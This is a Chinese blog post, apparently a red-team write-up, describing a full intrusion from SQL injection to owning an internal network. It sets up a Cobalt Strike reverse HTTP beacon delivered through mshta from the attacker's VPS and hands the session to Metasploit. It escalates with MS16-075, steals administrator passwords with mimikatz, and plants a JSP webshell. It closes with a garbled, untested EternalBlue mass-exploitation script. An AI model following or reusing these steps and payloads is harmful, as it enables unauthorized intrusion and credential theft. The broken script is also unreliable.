msf实战提权windows_技术干货| 实战分享:从sql注入到内网漫游

欢迎各位添加微信号:qinchang_198231  

 加入安全+ 交流群 和大佬们一起交流安全技术

以下内容与测试工具仅限技术交流,严禁用于非法攻击

对于红队队员来说,打点之后最重要的就是横向的内网渗透了,但很多人都卡在了这一步,今天这篇文章就主要讲一讲cobaltstrike和msf的联动,内网渗透的一些小思路,以及我遇到的一些msf和cs的坑

0X01从SQL注入到CS上线

SQL注入方面就不详细赘述了,相信大家都很了解,目标站存在一个POST型的注入,且为SA用户,MSSQL的数据库,所以我们呢就可以直接进行--OS-SHELL90085561c7e79b7ecb65b75607efb3ac.png

我们先在cs建立一个监听,这里我选用的payload是Windows/beacon_http/reverse_http,host填写vps地址,端口随便定义

17be6e49c3a960ee05a480ff01554753.png

下一步就是生成一个HTML木马,ATTacks-packages-HTML我们选择刚才新建的那个监听,然后选择方法powershell

10727171faedbc641a66927e3537154c.png

之后就是选择你刚刚生成的木马,在你的vps上建立一个下载链接

6c4b44894b5adb336e37c9178691e28b.png

在目标机器上通过mshta执行

53a631b9c0bc3ec6be52fb10c6663f3a.png

然后这时候我们就会看到我们的CS里多出了一个目标

6cffb3b27e9340d7f7c6a159ce372fea.png

但是这个时候我们发现这个机器的权限是MSSQLSERVER,这对于我们来说是远远不够的,这个时候我们就要进行提权操作,CS中自带了几个提权的脚本,你也可以通过插件来获取其他提权脚本,但是我用CS的脚本进行提权都以失败告终,所以我需要把这个session传输到MSF里面

0X02CS和MSF的session的互传

这一步是走向内网的第一步,也可以说是打点渗透的最后一步,可以说是非常重要的了,我们首先需要在CS中建立一个全新的监听,以便于session的传输

147ebefe16c015f8cec03d0648cbd545.png

这个监听的payload要选择Windows/foreign/reverse_tcp,HOST填写你的vps,port随意

这里我的msf装在了vps上,所以我们打开vps,新建一个screen,运行msf,然后选择exploit/multi/handler之后我们设置payload,设置成和cs对应的如图所示

58931d4aac0784106dfb294a1ea10ad8.png

之后就是设置LHOST和LPORT,由于我的CS监听设置的地址就是vps的地址,所以我们在vps上监听0.0.0.0就可以,然后lport写刚刚你在cs上设置的port,一切设置完成我们先在msf上run起来,之后在cs上选择刚刚上线的机器,在beaconshell中输入spawn+刚刚你设置的msf监听名字就可以了,过一会儿我们就能看到msf中有机器上线

8bffda8c895aeb2017ae773a6b650262.png

下一步就是利用msf提权,这里我们先把这个session放到后台,用bg命令就可以

62ad4c28b37da29117d81b4c1016236d.png

之后我们用这个插件 post/multi/recon/local_exploit_suggester,进去之后我们set session * *就是刚刚你msf监听到的那个session的序号,这个插件就会自动检测目标系统版本以及可以利用的提权脚本,我们运行一下试试

9ec7667f723f00446c11188fe3b62529.png

可以看到,这些脚本就是可用的,这里我用了最后一个ms16-075这个漏洞

bbeaa415b24f63059e73315a6a5a4100.png

可以看到,提权成功,返回了一个新的system权限的session,下面我们尝试通过msf把这个session注入回到cs中

使用exploit/windows/local/payload_inject

把payload设置成我们cs建立的第一个监听的payload即windows/meterpreter/reverse_http

然后设置host,port以及要传回去的session

run

03ec430244ce69e26eddc65ed87ca1a4.png

我们可以看到CS上返回了一个system权限的shell

6c80c521288a8a7bff841bbceefae52e.png

这个时候我们就可以愉快的使用mimikatz等工具来把administrator的密码偷来

但是有的机器改了RDP服务的端口怎么办呢,我们可以用cs的进程管理,找到rdp服务的PID,然后在beacon中输入powershell netstat -ano,就可以找到这个PID对应的端口了

d1d3bf1643a647d91856ce543c6072ab.png

f67f13d70b7c7fc973bd2c50ffdcb09e.png

0X03内网渗透的一些思路

我们拿到了一台机器,如何进行下一步的内网嗅探呢,cs中自带了一个portscan,当然你也可以通过socks把nmap,msf之类的带入到内网,这里我们就用cs自带的工具

我们可以看到他的内网比较简单,我进去转了一圈发现也只有一些打印机,路由器,还有一个oracle,我们通过受害机的浏览器中保存的密码进入到了其中,新建项目即可传war包,上传jsp木马,还有就是剩下几台445的windows主机了,由于我比较懒,就不把msf带入了,直接传一个ms17010的利用工具

8b420f90e8b90a5adcc4da885e4c47cf.png

至此,内网全部主机沦陷,打完收工,内网方面错综复杂,大家可以注意一些未授权访问啊,弱口令啊,浏览器保存的密码啊,整理出属于这个网段的密码字典,然后密码复用,细心总会有意外惊喜

最后,贴上一个自己写的ms17010批量工具,是刚刚利用的时候突发奇想写的,还没调试,希望各位大佬不要笑话,有时间帮小弟调试修改一下,在这里给大家磕头了cbe9cdb922f549081932f8a3c4b72f29.pngcbe9cdb922f549081932f8a3c4b72f29.pngcbe9cdb922f549081932f8a3c4b72f29.png

import sysimport osfor a in range (0,256):    a = str(a)    ip = "xx.xx.xx.""+a+"    def ms(config):        config=open('ms17010.rc','w')        config.write('use exploit/windows/smb/ms17_010_eternalblue'+"\n")        config.write('set PAYLOAD windows/x64/meterpreter/reverse_tcp'+"\n")        config.write('set RHOST '+ip+"\n")        config.write('set LHOST "445"\n')        config.write('exploit'+"\n")    ms('')def main():    mg=os.system('msfconsole -r /root/ms17010.rc')if __name__ == '__main__':    main()

7d1f6abaac649e5363deeb71f9e07287.png

7d2abaaa32179011fbeb00454a49522e.png

7fd29114816a934a50895a2f0d10160e.png

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值